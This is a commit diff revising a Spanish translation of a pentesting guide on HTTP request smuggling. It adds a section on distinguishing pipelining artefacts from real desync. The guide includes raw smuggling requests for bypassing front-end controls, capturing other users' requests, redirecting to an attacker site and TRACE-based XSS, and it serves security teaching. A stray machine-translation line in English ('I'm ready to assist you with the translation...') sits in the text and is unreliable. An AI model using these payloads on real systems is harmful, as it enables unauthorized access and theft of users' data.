Translated ['src/pentesting-web/http-request-smuggling/README.md'] to es

2025-10-10 18:36:50 +00:00 · 2025-08-20 19:28:16 +00:00 · 2025-08-20 19:28:16 +00:00 · fdbe7c3f12
commit fdbe7c3f12
parent e7e661e539
1 changed files with 144 additions and 32 deletions
--- a/src/pentesting-web/http-request-smuggling/README.md
+++ b/src/pentesting-web/http-request-smuggling/README.md
@ -24,7 +24,7 @@ Esto permite a un usuario **modificar la siguiente solicitud que llega al servid

 ### Realidad

-El **Front-End** (un balanceador de carga / Proxy Inverso) **procesa** el encabezado _**content-length**_ o el encabezado _**transfer-encoding**_ y el servidor **Back-end** **procesa el otro**, provocando una **desincronización** entre los 2 sistemas.\
+El **Front-End** (un balanceador de carga / Proxy Inverso) **procesa** el encabezado _**content-length**_ o el _**transfer-encoding**_ y el servidor **Back-end** **procesa el otro**, provocando una **desincronización** entre los 2 sistemas.\
 Esto podría ser muy crítico ya que **un atacante podrá enviar una solicitud** al proxy inverso que será **interpretada** por el servidor **back-end** **como 2 solicitudes diferentes**. El **peligro** de esta técnica reside en el hecho de que el servidor **back-end** **interpretará** la **2ª solicitud inyectada** como si **viniera del siguiente cliente** y la **solicitud real** de ese cliente será **parte** de la **solicitud inyectada**.

 ### Particularidades
@ -32,7 +32,7 @@ Esto podría ser muy crítico ya que **un atacante podrá enviar una solicitud**
 Recuerda que en HTTP **un carácter de nueva línea está compuesto por 2 bytes:**

 - **Content-Length**: Este encabezado utiliza un **número decimal** para indicar el **número** de **bytes** del **cuerpo** de la solicitud. Se espera que el cuerpo termine en el último carácter, **no se necesita una nueva línea al final de la solicitud**.
- **Transfer-Encoding:** Este encabezado utiliza en el **cuerpo** un **número hexadecimal** para indicar el **número** de **bytes** del **siguiente fragmento**. El **fragmento** debe **terminar** con una **nueva línea**, pero esta nueva línea **no se cuenta** en el indicador de longitud. Este método de transferencia debe terminar con un **fragmento de tamaño 0 seguido de 2 nuevas líneas**: `0`
+- **Transfer-Encoding:** Este encabezado utiliza en el **cuerpo** un **número hexadecimal** para indicar el **número** de **bytes** del **siguiente fragmento**. El **fragmento** debe **terminar** con una **nueva línea**, pero esta nueva línea **no se cuenta** por el indicador de longitud. Este método de transferencia debe terminar con un **fragmento de tamaño 0 seguido de 2 nuevas líneas**: `0`
 - **Connection**: Basado en mi experiencia, se recomienda usar **`Connection: keep-alive`** en la primera solicitud del HTTP Request Smuggling.

 ## Ejemplos Básicos
@ -46,7 +46,7 @@ Los ataques de HTTP request smuggling se elaboran enviando solicitudes ambiguas

 ![https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../images/EKi5edAUUAAIPIK.jpg)

-> [!NOTE]
+> [!TIP]
 > A la tabla anterior deberías agregar la técnica TE.0, como la técnica CL.0 pero usando Transfer Encoding.

 #### Vulnerabilidad CL.TE (Content-Length usado por Front-End, Transfer-Encoding usado por Back-End)
@ -109,7 +109,7 @@ x=

 - El atacante envía una solicitud con encabezados `Transfer-Encoding` ofuscados.
 - Dependiendo de qué servidor (front-end o back-end) no reconozca la ofuscación, se puede explotar una vulnerabilidad CL.TE o TE.CL.
- La parte no procesada de la solicitud, tal como la ve uno de los servidores, se convierte en parte de una solicitud subsiguiente, llevando a smuggling.
+- La parte no procesada de la solicitud, como la ve uno de los servidores, se convierte en parte de una solicitud subsiguiente, llevando al smuggling.
 - **Ejemplo:**

 ```
@ -183,7 +183,7 @@ EMPTY_LINE_HERE
 ```
 #### Rompiendo el servidor web

-Esta técnica también es útil en escenarios donde es posible **romper un servidor web mientras se lee los datos HTTP iniciales** pero **sin cerrar la conexión**. De esta manera, el **cuerpo** de la solicitud HTTP será considerado la **siguiente solicitud HTTP**.
+Esta técnica también es útil en escenarios donde es posible **romper un servidor web mientras se lee los datos HTTP iniciales** pero **sin cerrar la conexión**. De esta manera, el **cuerpo** de la solicitud HTTP será considerado como la **siguiente solicitud HTTP**.

 Por ejemplo, como se explica en [**este informe**](https://mizu.re/post/twisty-python), en Werkzeug era posible enviar algunos **caracteres Unicode** y esto haría que el servidor **se rompiera**. Sin embargo, si la conexión HTTP se creó con el encabezado **`Connection: keep-alive`**, el cuerpo de la solicitud no será leído y la conexión seguirá abierta, por lo que el **cuerpo** de la solicitud será tratado como la **siguiente solicitud HTTP**.

@ -199,11 +199,11 @@ Para **más información sobre los encabezados hop-by-hop** visita:
 ../abusing-hop-by-hop-headers.md
 {{#endref}}

-## Encontrando HTTP Request Smuggling
+## Encontrar HTTP Request Smuggling

 Identificar vulnerabilidades de HTTP request smuggling a menudo se puede lograr utilizando técnicas de temporización, que se basan en observar cuánto tiempo tarda el servidor en responder a solicitudes manipuladas. Estas técnicas son particularmente útiles para detectar vulnerabilidades CL.TE y TE.CL. Además de estos métodos, hay otras estrategias y herramientas que se pueden utilizar para encontrar tales vulnerabilidades:

-### Encontrando Vulnerabilidades CL.TE Usando Técnicas de Temporización
+### Encontrar Vulnerabilidades CL.TE Usando Técnicas de Temporización

 - **Método:**

@ -223,14 +223,14 @@ A
 ```

 - **Observación:**
- El servidor de front-end procesa la solicitud en función de `Content-Length` y corta el mensaje prematuramente.
+- El servidor frontal procesa la solicitud en función de `Content-Length` y corta el mensaje prematuramente.
 - El servidor de back-end, esperando un mensaje en trozos, espera el siguiente trozo que nunca llega, causando un retraso.

 - **Indicadores:**
 - Timeouts o largos retrasos en la respuesta.
 - Recibir un error 400 Bad Request del servidor de back-end, a veces con información detallada del servidor.

-### Encontrando Vulnerabilidades TE.CL Usando Técnicas de Temporización
+### Encontrar Vulnerabilidades TE.CL Usando Técnicas de Temporización

 - **Método:**

@ -249,7 +249,7 @@ X
 ```

 - **Observación:**
- El servidor de front-end procesa la solicitud en función de `Transfer-Encoding` y reenvía todo el mensaje.
+- El servidor frontal procesa la solicitud en función de `Transfer-Encoding` y reenvía todo el mensaje.
 - El servidor de back-end, esperando un mensaje basado en `Content-Length`, espera datos adicionales que nunca llegan, causando un retraso.

 ### Otros Métodos para Encontrar Vulnerabilidades
@ -261,11 +261,11 @@ X
 - **Pruebas de Variación de Content-Length:**
 - Envía solicitudes con valores de `Content-Length` variables que no están alineados con la longitud real del contenido y observa cómo maneja el servidor tales desajustes.
 - **Pruebas de Variación de Transfer-Encoding:**
- Envía solicitudes con encabezados `Transfer-Encoding` ofuscados o malformados y monitorea cómo responden de manera diferente los servidores de front-end y back-end a tales manipulaciones.
+- Envía solicitudes con encabezados `Transfer-Encoding` ofuscados o malformados y monitorea cómo responden de manera diferente los servidores frontal y de back-end a tales manipulaciones.

 ### Pruebas de Vulnerabilidad de HTTP Request Smuggling

-Después de confirmar la efectividad de las técnicas de temporización, es crucial verificar si se pueden manipular las solicitudes del cliente. Un método sencillo es intentar envenenar tus solicitudes, por ejemplo, haciendo que una solicitud a `/` produzca una respuesta 404. Los ejemplos de `CL.TE` y `TE.CL` discutidos anteriormente en [Ejemplos Básicos](./#basic-examples) demuestran cómo envenenar la solicitud de un cliente para provocar una respuesta 404, a pesar de que el cliente intenta acceder a un recurso diferente.
+Después de confirmar la efectividad de las técnicas de temporización, es crucial verificar si se pueden manipular las solicitudes del cliente. Un método sencillo es intentar envenenar tus solicitudes, por ejemplo, haciendo que una solicitud a `/` produzca una respuesta 404. Los ejemplos de `CL.TE` y `TE.CL` discutidos anteriormente en [Ejemplos Básicos](#basic-examples) demuestran cómo envenenar la solicitud de un cliente para provocar una respuesta 404, a pesar de que el cliente intenta acceder a un recurso diferente.

 **Consideraciones Clave**

@ -274,16 +274,122 @@ Al probar vulnerabilidades de request smuggling interfiriendo con otras solicitu
 - **Conexiones de Red Distintas:** Las solicitudes "atacantes" y "normales" deben enviarse a través de conexiones de red separadas. Utilizar la misma conexión para ambas no valida la presencia de la vulnerabilidad.
 - **URL y Parámetros Consistentes:** Intenta usar URLs y nombres de parámetros idénticos para ambas solicitudes. Las aplicaciones modernas a menudo dirigen las solicitudes a servidores de back-end específicos según la URL y los parámetros. Hacer coincidir estos aumenta la probabilidad de que ambas solicitudes sean procesadas por el mismo servidor, un requisito previo para un ataque exitoso.
 - **Condiciones de Temporización y Carrera:** La solicitud "normal", destinada a detectar interferencias de la solicitud "atacante", compite contra otras solicitudes concurrentes de la aplicación. Por lo tanto, envía la solicitud "normal" inmediatamente después de la solicitud "atacante". Las aplicaciones ocupadas pueden requerir múltiples intentos para una confirmación concluyente de vulnerabilidad.
- **Desafíos de Balanceo de Carga:** Los servidores de front-end que actúan como balanceadores de carga pueden distribuir solicitudes entre varios sistemas de back-end. Si las solicitudes "atacantes" y "normales" terminan en diferentes sistemas, el ataque no tendrá éxito. Este aspecto de balanceo de carga puede requerir varios intentos para confirmar una vulnerabilidad.
- **Impacto No Intencionado en el Usuario:** Si tu ataque impacta inadvertidamente la solicitud de otro usuario (no la solicitud "normal" que enviaste para la detección), esto indica que tu ataque influyó en otro usuario de la aplicación. Las pruebas continuas podrían interrumpir a otros usuarios, lo que requiere un enfoque cauteloso.
+- **Desafíos de Balanceo de Carga:** Los servidores frontales que actúan como balanceadores de carga pueden distribuir solicitudes entre varios sistemas de back-end. Si las solicitudes "atacantes" y "normales" terminan en diferentes sistemas, el ataque no tendrá éxito. Este aspecto de balanceo de carga puede requerir varios intentos para confirmar una vulnerabilidad.
+- **Impacto No Intencionado en Usuarios:** Si tu ataque impacta inadvertidamente la solicitud de otro usuario (no la solicitud "normal" que enviaste para la detección), esto indica que tu ataque influyó en otro usuario de la aplicación. Las pruebas continuas podrían interrumpir a otros usuarios, lo que requiere un enfoque cauteloso.

-## Abusando de HTTP Request Smuggling
+## Distinguir artefactos de pipelining de HTTP/1.1 vs smuggling de solicitudes genuino

-### Eludir la Seguridad del Front-End a través de HTTP Request Smuggling
+La reutilización de conexiones (keep-alive) y el pipelining pueden producir fácilmente ilusiones de "smuggling" en herramientas de prueba que envían múltiples solicitudes en el mismo socket. Aprende a separar artefactos inofensivos del lado del cliente de la verdadera desincronización del lado del servidor.

-A veces, los proxies de front-end imponen medidas de seguridad, examinando las solicitudes entrantes. Sin embargo, estas medidas pueden ser eludidas al explotar HTTP Request Smuggling, permitiendo el acceso no autorizado a puntos finales restringidos. Por ejemplo, acceder a `/admin` podría estar prohibido externamente, con el proxy de front-end bloqueando activamente tales intentos. No obstante, este proxy puede descuidar inspeccionar las solicitudes incrustadas dentro de una solicitud HTTP contrabandeada, dejando una brecha para eludir estas restricciones.
+### Por qué el pipelining crea falsos positivos clásicos

-Considera los siguientes ejemplos que ilustran cómo HTTP Request Smuggling puede ser utilizado para eludir los controles de seguridad del front-end, específicamente apuntando a la ruta `/admin` que generalmente está protegida por el proxy de front-end:
+HTTP/1.1 reutiliza una única conexión TCP/TLS y concatena solicitudes y respuestas en el mismo flujo. En el pipelining, el cliente envía múltiples solicitudes una tras otra y depende de respuestas en orden. Un falso positivo común es reenviar una carga útil malformada de estilo CL.0 dos veces en una sola conexión:
+```
+POST / HTTP/1.1
+Host: hackxor.net
+Content_Length: 47
+
+GET /robots.txt HTTP/1.1
+X: Y
+```
+Las respuestas pueden verse así:
+```
+HTTP/1.1 200 OK
+Content-Type: text/html
+
+```
+
+```
+HTTP/1.1 200 OK
+Content-Type: text/plain
+
+User-agent: *
+Disallow: /settings
+```
+Si el servidor ignoró el `Content_Length` mal formado, no hay desincronización FE↔BE. Con la reutilización, tu cliente realmente envió este flujo de bytes, que el servidor analizó como dos solicitudes independientes:
+```
+POST / HTTP/1.1
+Host: hackxor.net
+Content_Length: 47
+
+GET /robots.txt HTTP/1.1
+X: YPOST / HTTP/1.1
+Host: hackxor.net
+Content_Length: 47
+
+GET /robots.txt HTTP/1.1
+X: Y
+```
+Impacto: ninguno. Solo desincronizaste tu cliente del marco del servidor.
+
+> [!TIP]
+> Módulos de Burp que dependen de reutilización/pipelining: Turbo Intruder con `requestsPerConnection>1`, Intruder con "reutilización de conexión HTTP/1", Repeater "Enviar grupo en secuencia (conexión única)" o "Habilitar reutilización de conexión".
+
+### Pruebas de litmus: ¿pipelining o desincronización real?
+
+1. Desactiva la reutilización y vuelve a probar
+- En Burp Intruder/Repeater, desactiva la reutilización HTTP/1 y evita "Enviar grupo en secuencia".
+- En Turbo Intruder, establece `requestsPerConnection=1` y `pipeline=False`.
+- Si el comportamiento desaparece, probablemente fue pipelining del lado del cliente, a menos que estés tratando con objetivos bloqueados por conexión/o con estado o desincronización del lado del cliente.
+2. Verificación de respuesta anidada HTTP/2
+- Envía una solicitud HTTP/2. Si el cuerpo de la respuesta contiene una respuesta HTTP/1 anidada completa, has probado un error de análisis/desincronización en el backend en lugar de un artefacto puro del cliente.
+3. Sonda de solicitudes parciales para front-ends bloqueados por conexión
+- Algunos FEs solo reutilizan la conexión BE ascendente si el cliente reutiliza la suya. Usa solicitudes parciales para detectar el comportamiento del FE que refleja la reutilización del cliente.
+- Consulta PortSwigger "Browser‑Powered Desync Attacks" para la técnica bloqueada por conexión.
+4. Sondeos de estado
+- Busca diferencias entre la primera y las solicitudes subsiguientes en la misma conexión TCP (enrutamiento/validación de la primera solicitud).
+- Burp "HTTP Request Smuggler" incluye un sondeo de estado de conexión que automatiza esto.
+5. Visualiza el cable
+- Usa la extensión Burp "HTTP Hacker" para inspeccionar la concatenación y el enmarcado de mensajes directamente mientras experimentas con la reutilización y las solicitudes parciales.
+
+### Smuggling de solicitudes bloqueadas por conexión (reutilización requerida)
+
+Algunos front-ends solo reutilizan la conexión ascendente cuando el cliente reutiliza la suya. Existe un smuggling real, pero es condicional a la reutilización del lado del cliente. Para distinguir y probar el impacto:
+- Prueba el error del lado del servidor
+- Usa la verificación de respuesta anidada HTTP/2, o
+- Usa solicitudes parciales para mostrar que el FE solo reutiliza el ascendente cuando lo hace el cliente.
+- Muestra un impacto real incluso si se bloquea el abuso directo de socket entre usuarios:
+- Envenenamiento de caché: envenena cachés compartidos a través de la desincronización para que las respuestas afecten a otros usuarios.
+- Divulgación de encabezados internos: refleja encabezados inyectados por el FE (por ejemplo, encabezados de autenticación/confianza) y pivota hacia el bypass de autenticación.
+- Eludir controles del FE: smuggle rutas/métodos restringidos más allá del front-end.
+- Abuso de encabezado de host: combina con peculiaridades de enrutamiento de host para pivotar a vhosts internos.
+- Flujo de trabajo del operador
+- Reproduce con reutilización controlada (Turbo Intruder `requestsPerConnection=2`, o grupo de pestañas de Burp Repeater → "Enviar grupo en secuencia (conexión única)").
+- Luego encadena a primitivas de envenenamiento de caché/divulgación de encabezados/bypass de control y demuestra impacto entre usuarios o de autorización.
+
+> Consulta también ataques de estado de conexión, que están estrechamente relacionados pero no son técnicamente smuggling:
+>
+>{{#ref}}
+>../http-connection-request-smuggling.md
+>{{#endref}}
+
+### Restricciones de desincronización del lado del cliente
+
+Si estás apuntando a desincronización del lado del cliente/potenciada por el navegador, la solicitud maliciosa debe ser enviable por un navegador de origen cruzado. Los trucos de ofuscación de encabezados no funcionarán. Concéntrate en primitivas accesibles a través de navegación/fetch, y luego pivota hacia el envenenamiento de caché, divulgación de encabezados o bypass de control del front-end donde los componentes descendentes reflejan o almacenan en caché las respuestas.
+
+Para obtener información de fondo y flujos de trabajo de extremo a extremo:
+
+{{#ref}}
+browser-http-request-smuggling.md
+{{#endref}}
+
+### Herramientas para ayudar a decidir
+
+- HTTP Hacker (Burp BApp Store): expone el comportamiento HTTP de bajo nivel y la concatenación de sockets.
+- "¿Smuggling o pipelining?" Acción personalizada de Burp Repeater: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
+- Turbo Intruder: control preciso sobre la reutilización de conexiones a través de `requestsPerConnection`.
+- Burp HTTP Request Smuggler: incluye un sondeo de estado de conexión para detectar enrutamiento/validación de la primera solicitud.
+
+> [!NOTE]
+> Trata los efectos solo de reutilización como no problemas a menos que puedas probar la desincronización del lado del servidor y adjuntar un impacto concreto (artefacto de caché envenenado, encabezado interno filtrado que permite el bypass de privilegios, control del FE eludido, etc.).
+
+## Abusando del HTTP Request Smuggling
+
+### Eludir la seguridad del front-end a través del HTTP Request Smuggling
+
+A veces, los proxies del front-end imponen medidas de seguridad, examinando las solicitudes entrantes. Sin embargo, estas medidas pueden ser eludidas al explotar el HTTP Request Smuggling, permitiendo el acceso no autorizado a puntos finales restringidos. Por ejemplo, acceder a `/admin` podría estar prohibido externamente, con el proxy del front-end bloqueando activamente tales intentos. No obstante, este proxy puede descuidar inspeccionar las solicitudes incrustadas dentro de una solicitud HTTP smuggled, dejando una laguna para eludir estas restricciones.
+
+Considera los siguientes ejemplos que ilustran cómo se puede usar el HTTP Request Smuggling para eludir los controles de seguridad del front-end, específicamente apuntando a la ruta `/admin` que típicamente está protegida por el proxy del front-end:

 **Ejemplo CL.TE**
 ```
@ -304,7 +410,7 @@ x=
 ```
 En el ataque CL.TE, se aprovecha el encabezado `Content-Length` para la solicitud inicial, mientras que la solicitud embebida subsiguiente utiliza el encabezado `Transfer-Encoding: chunked`. El proxy del front-end procesa la solicitud `POST` inicial pero no inspecciona la solicitud embebida `GET /admin`, lo que permite el acceso no autorizado a la ruta `/admin`.

-**Ejemplo TE.CL**
+**TE.CL Ejemplo**
 ```
 POST / HTTP/1.1
 Host: [redacted].web-security-academy.net
@ -320,9 +426,9 @@ a=x
 0

 ```
-Por el contrario, en el ataque TE.CL, la solicitud `POST` inicial utiliza `Transfer-Encoding: chunked`, y la solicitud embebida subsiguiente se procesa en función del encabezado `Content-Length`. Similar al ataque CL.TE, el proxy de front-end pasa por alto la solicitud `GET /admin` contrabandeada, otorgando inadvertidamente acceso a la ruta restringida `/admin`.
+Por el contrario, en el ataque TE.CL, la solicitud `POST` inicial utiliza `Transfer-Encoding: chunked`, y la solicitud embebida subsiguiente se procesa en función del encabezado `Content-Length`. Similar al ataque CL.TE, el proxy del front-end pasa por alto la solicitud `GET /admin` contrabandeada, otorgando inadvertidamente acceso a la ruta restringida `/admin`.

-### Revelando la reescritura de solicitudes en el front-end <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
+### Revelando la reescritura de solicitudes del front-end <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>

 Las aplicaciones a menudo emplean un **servidor de front-end** para modificar las solicitudes entrantes antes de pasarlas al servidor de back-end. Una modificación típica implica agregar encabezados, como `X-Forwarded-For: <IP del cliente>`, para transmitir la IP del cliente al back-end. Comprender estas modificaciones puede ser crucial, ya que podría revelar formas de **eludir protecciones** o **descubrir información o puntos finales ocultos**.

@ -343,7 +449,7 @@ Content-Length: 100

 search=
 ```
-En esta estructura, los componentes de la solicitud subsiguiente se añaden después de `search=`, que es el parámetro reflejado en la respuesta. Esta reflexión expondrá los encabezados de la solicitud subsiguiente.
+En esta estructura, los componentes de la solicitud subsiguiente se añaden después de `search=`, que es el parámetro reflejado en la respuesta. Este reflejo expondrá los encabezados de la solicitud subsiguiente.

 Es importante alinear el encabezado `Content-Length` de la solicitud anidada con la longitud real del contenido. Se aconseja comenzar con un valor pequeño e incrementar gradualmente, ya que un valor demasiado bajo truncará los datos reflejados, mientras que un valor demasiado alto puede causar que la solicitud falle.

@ -353,7 +459,7 @@ Este método sirve principalmente para entender las modificaciones de la solicit

 ### Capturando las solicitudes de otros usuarios <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>

-Es factible capturar las solicitudes del siguiente usuario añadiendo una solicitud específica como el valor de un parámetro durante una operación POST. Aquí se explica cómo se puede lograr:
+Es factible capturar las solicitudes del siguiente usuario añadiendo una solicitud específica como el valor de un parámetro durante una operación POST. Así es como se puede lograr:

 Al añadir la siguiente solicitud como el valor de un parámetro, puedes almacenar la solicitud del cliente subsiguiente:
 ```
@ -464,13 +570,13 @@ Resultados en:
 HTTP/1.1 301 Moved Permanently
 Location: https://attacker-website.com/home/
 ```
-En este escenario, la solicitud de un usuario para un archivo JavaScript es secuestrada. El atacante puede comprometer potencialmente al usuario sirviendo JavaScript malicioso en respuesta.
+En este escenario, se secuestra la solicitud de un usuario para un archivo JavaScript. El atacante puede comprometer potencialmente al usuario sirviendo JavaScript malicioso en respuesta.

 ### Explotación de la contaminación de caché web a través de HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>

-La contaminación de caché web puede ejecutarse si cualquier componente de la **infraestructura de front-end almacena contenido en caché**, típicamente para mejorar el rendimiento. Al manipular la respuesta del servidor, es posible **contaminar la caché**.
+La contaminación de caché web puede ejecutarse si cualquier componente de la **infraestructura del front-end almacena contenido en caché**, típicamente para mejorar el rendimiento. Al manipular la respuesta del servidor, es posible **contaminar la caché**.

-Anteriormente, observamos cómo se podían alterar las respuestas del servidor para devolver un error 404 (consulte [Ejemplos Básicos](./#basic-examples)). De manera similar, es factible engañar al servidor para que entregue contenido de `/index.html` en respuesta a una solicitud de `/static/include.js`. En consecuencia, el contenido de `/static/include.js` se reemplaza en la caché con el de `/index.html`, haciendo que `/static/include.js` sea inaccesible para los usuarios, lo que potencialmente puede llevar a una Denegación de Servicio (DoS).
+Anteriormente, observamos cómo se podían alterar las respuestas del servidor para devolver un error 404 (consulte [Ejemplos Básicos](#basic-examples)). De manera similar, es factible engañar al servidor para que entregue contenido de `/index.html` en respuesta a una solicitud de `/static/include.js`. En consecuencia, el contenido de `/static/include.js` se reemplaza en la caché con el de `/index.html`, haciendo que `/static/include.js` sea inaccesible para los usuarios, lo que potencialmente puede llevar a una Denegación de Servicio (DoS).

 Esta técnica se vuelve particularmente potente si se descubre una **vulnerabilidad de Redirección Abierta** o si hay una **redirección en el sitio a una redirección abierta**. Tales vulnerabilidades pueden ser explotadas para reemplazar el contenido en caché de `/static/include.js` con un script bajo el control del atacante, habilitando esencialmente un ataque de Cross-Site Scripting (XSS) generalizado contra todos los clientes que soliciten el `/static/include.js` actualizado.

@ -502,8 +608,8 @@ Posteriormente, cualquier request para `/static/include.js` servirá el contenid

 > **¿Cuál es la diferencia entre el envenenamiento de caché web y el engaño de caché web?**
 >
-> - En **envenenamiento de caché web**, el atacante provoca que la aplicación almacene contenido malicioso en la caché, y este contenido se sirve desde la caché a otros usuarios de la aplicación.
-> - En **engaño de caché web**, el atacante provoca que la aplicación almacene contenido sensible perteneciente a otro usuario en la caché, y luego el atacante recupera este contenido de la caché.
+> - En el **envenenamiento de caché web**, el atacante provoca que la aplicación almacene contenido malicioso en la caché, y este contenido se sirve desde la caché a otros usuarios de la aplicación.
+> - En el **engaño de caché web**, el atacante provoca que la aplicación almacene contenido sensible perteneciente a otro usuario en la caché, y luego el atacante recupera este contenido de la caché.

 El atacante elabora un request smuggled que obtiene contenido sensible específico del usuario. Considere el siguiente ejemplo:
 ```markdown
@ -526,7 +632,7 @@ TRACE / HTTP/1.1
 Host: example.com
 XSS: <script>alert("TRACE")</script>
 ```
-Please provide the text you would like me to translate.
+I'm ready to assist you with the translation. Please provide the text you would like me to translate.
 ```
 HTTP/1.1 200 OK
 Content-Type: message/http
@ -543,9 +649,9 @@ Esta respuesta se enviará a la siguiente solicitud a través de la conexión, p

 ### Abusando de TRACE a través de la División de Respuestas HTTP <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>

-Continuar siguiendo [**esta publicación**](https://portswigger.net/research/trace-desync-attack) sugiere otra forma de abusar del método TRACE. Como se comentó, al introducir una solicitud HEAD y una solicitud TRACE es posible **controlar algunos datos reflejados** en la respuesta a la solicitud HEAD. La longitud del cuerpo de la solicitud HEAD está básicamente indicada en el encabezado Content-Length y se forma por la respuesta a la solicitud TRACE.
+Continuar siguiendo [**esta publicación**](https://portswigger.net/research/trace-desync-attack) se sugiere como otra forma de abusar del método TRACE. Como se comentó, al introducir una solicitud HEAD y una solicitud TRACE, es posible **controlar algunos datos reflejados** en la respuesta a la solicitud HEAD. La longitud del cuerpo de la solicitud HEAD está básicamente indicada en el encabezado Content-Length y se forma por la respuesta a la solicitud TRACE.

-Por lo tanto, la nueva idea sería que, conociendo este Content-Length y los datos dados en la respuesta TRACE, es posible hacer que la respuesta TRACE contenga una respuesta HTTP válida después del último byte del Content-Length, permitiendo a un atacante controlar completamente la solicitud a la siguiente respuesta (lo que podría ser utilizado para realizar un envenenamiento de caché).
+Por lo tanto, la nueva idea sería que, conociendo este Content-Length y los datos dados en la respuesta TRACE, es posible hacer que la respuesta TRACE contenga una respuesta HTTP válida después del último byte del Content-Length, permitiendo a un atacante controlar completamente la solicitud a la siguiente respuesta (lo que podría usarse para realizar un envenenamiento de caché).

 Ejemplo:
 ```
@ -698,12 +804,14 @@ table.add(req)
 ```
 ## Herramientas

+- HTTP Hacker (Burp BApp Store) – visualizar la concatenación/framing y el comportamiento HTTP de bajo nivel
+- https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Acción personalizada de Burp Repeater "¿Smuggling o pipelining?"
 - [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
 - [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
 - [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
 - [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
 - [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Esta herramienta es un Fuzzer HTTP basado en gramática útil para encontrar discrepancias extrañas en el request smuggling.
+- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Esta herramienta es un fuzzer HTTP basado en gramática útil para encontrar discrepancias extrañas en el request smuggling.

 ## Referencias

@ -716,6 +824,10 @@ table.add(req)
 - [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
 - [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
 - [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
+- Cuidado con el falso positivo: cómo distinguir el HTTP pipelining del request smuggling – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
+- [https://http1mustdie.com/](https://http1mustdie.com/)
+- Ataques de desincronización impulsados por el navegador – [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
+- PortSwigger Academy – desincronización del lado del cliente – [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)


 {{#include ../../banners/hacktricks-training.md}}